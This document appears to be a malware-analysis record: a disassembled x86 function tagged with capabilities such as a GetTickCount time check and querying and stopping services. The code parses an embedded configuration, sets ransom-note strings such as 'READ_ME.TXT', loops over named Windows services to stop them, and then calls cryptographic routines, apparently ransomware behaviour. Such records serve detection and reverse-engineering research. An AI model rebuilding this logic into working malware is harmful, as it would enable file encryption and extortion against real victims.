Function at 0x4063d0
Capabilities:
Check for time delay via gettickcount
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415200
mov eax, dword fs:[0]
push eax
sub esp, 0x740
mov eax, dword [0x41d004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x66ce
push 0x41d880
push 0x427358
call fcn.0040ac50
mov eax, 0x427358
add esp, 0xc
cmp dword [eax], 0x464e4f43
jne 0x40653e
cmp word [eax + 4], 0x4749
jne 0x40653e
push 0x7c0
push 0
push 0x427b9c
call fcn.00409790
push 0x5d6
push 0
push 0x428400
call fcn.00409790
push 0x4000
push 0
push 0x4289da
call fcn.00409790
push 0x948
push 0
push 0x42d0de
call fcn.00409790
mov dword [0x427358], 0x21
mov ecx, 0x210
mov esi, str.logjst.txt
mov edi, 0x42735c
rep movsd dword es:[edi], dword [esi]
mov dword [0x42835c], 5
mov ecx, 0x28
mov esi, str..exe
mov edi, 0x428360
rep movsd dword es:[edi], dword [esi]
push 0x1500
mov dword [0x42c9da], 0x1c
mov ecx, 0x1c0
mov esi, str.vmickvpexchange
mov edi, 0x42c9de
push str.msmdsrv.exe
rep movsd dword es:[edi], dword [esi]
push 0x4289da
mov dword [0x4289d6], 0x2a
call fcn.0040ac50
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
add esp, 0x3c
push str..jstss
push 0x428560
call esi
push 0x41b048
push 0x42d9e6
mov dword [0x42d9e2], 1
call esi
push str.THIS_IS_TEST_DECRYPT_DOCUMENT
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.THIS_IS_TEST_DECRYPT_DOCUMENT
push 0x428576
mov dword [0x428572], eax
call esi
push str.READ_ME.TXT
push 0x428976
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov eax, dword [0x42c9da]
test eax, eax
je 0x40668d
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x748], 0
mov dword [ebp - 0x740], 0x42c9de
nop dword [eax]
call edi
push 0xf003f
push 0
push 0
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x744], eax
test eax, eax
jne 0x406594
call esi
jmp 0x40666d
push 0x2c
push dword [ebp - 0x740]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x4065b6
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
jmp 0x406661
lea eax, [ebp - 0x74c]
push eax
push 0x24
lea eax, [ebp - 0x34]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40664d
cmp dword [ebp - 0x30], 1
je 0x406654
test byte [ebp - 0x2c], 1
je 0x406654
push esi
push dword [ebp - 0x744]
call fcn.00407b10
test eax, eax
jne 0x406654
lea eax, [ebp - 0x34]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40664d
cmp dword [ebp - 0x30], 1
je 0x406654
mov eax, dword [ebp - 0x1c]
mov ecx, 0x7530
cmp eax, 0x7530
cmovae eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x74c]
push eax
push 0x24
lea eax, [ebp - 0x34]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40664d
cmp dword [ebp - 0x30], 1
je 0x406654
call edi
sub eax, ebx
cmp eax, 0x7530
ja 0x406654
cmp dword [ebp - 0x30], 1
jne 0x406603
jmp 0x406654
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x744]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x748]
add dword [ebp - 0x740], 0x40
inc eax
mov dword [ebp - 0x748], eax
cmp eax, dword [0x42c9da]
jb 0x406570
cmp dword [0x4289d6], 0
je 0x40669b
call fcn.004078e0
cmp dword [0x42d9de], 0
je 0x4066a9
call fcn.00407ce0
lea ecx, [ebp - 0x73c]
call fcn.00406110
lea ecx, [ebp - 0x73c]
mov dword [ebp - 4], 0
call fcn.00406860
call edi
push 0
push dword [0x427350]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 0x734]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4066f3
push eax
call esi
mov dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x730]
test eax, eax
je 0x40670a
push eax
call esi
mov dword [ebp - 0x730], 0
mov ecx, dword [ebp - 0x73c]
test ecx, ecx
je 0x406724
push ecx
call fcn.00406350
mov dword [ebp - 0x73c], 0
mov ecx, dword [ebp - 0x738]
test ecx, ecx
je 0x406734
push ecx
call fcn.00406350
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00407f82
mov esp, ebp
pop ebp
ret